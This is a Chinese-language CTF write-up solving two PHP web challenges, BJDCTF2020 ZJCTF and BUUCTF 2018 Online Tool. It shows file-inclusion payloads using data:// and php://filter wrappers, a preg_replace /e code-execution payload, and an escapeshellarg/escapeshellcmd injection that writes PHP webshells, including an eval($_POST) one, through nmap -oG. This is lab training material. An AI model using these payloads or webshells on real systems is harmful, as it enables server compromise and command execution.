目录
[BJDCTF2020]ZJCTF,不过如此
[BUUCTF 2018]Online Tool
[BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
第一个判断 直接使用 data 伪协议 绕过就行
?text=data://text/plain,I have a dream&file=
在使用 filter伪协议 包含一下 next.php 读取文件内容
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
深入研究preg_replace与代码执行 - 先知社区
preg_replace() 使用了 /e 模式 , 第二个参数可以进行命令执行, 但这里第二个参数是固定了
一种反向引用问题:
正则表达式 – 语法_w3cschool
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
\\1 ---> \1 第一个子匹配项 ,
( strtolower() 里面是双引号, 单引号都不行 , \1 就会就会捕获到对应的表达式 (getFlag()) ,
在 /e 模式下就可以进行执行这个函数 )
payload:
/?.*={${getFlag()}} ---> 可以执行 getFlag() 函数
php的非法传参问题 , " . " 会变成 " _ "
使用 \S 代替 表示 " 匹配任何非空白字符 "
然后调用 这里面的 getFlag() 函数进行命令执行
/next.php?\S*=${getFlag()}&cmd=system("cat /f*");
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
里面的两个特殊的函数
https://www.cnblogs.com/darkcyan/p/17676088.html
escapeshellarg()
escapeshellcmd()
这两个函数按照这样的顺序使用会产生漏洞, 反过来就不会
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg()
将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含exec()
,system()
执行运算符(反引号)
escapeshellcmd — shell 元字符转义
功能:escapeshellcmd()
对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到exec()
或system()
函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入:
&#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
nmap有一个参数-oG可以实现将命令和结果写到文件
所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag
payload:
?host=' <?php echo `cat /flag`;?> -oG test.php '
?host=' <?php eval($_POST(1));?> -oG test.php '
查看 相应的路径
/6015389ed778aaa28f4d9a23e8ba0727/test.php
得到flag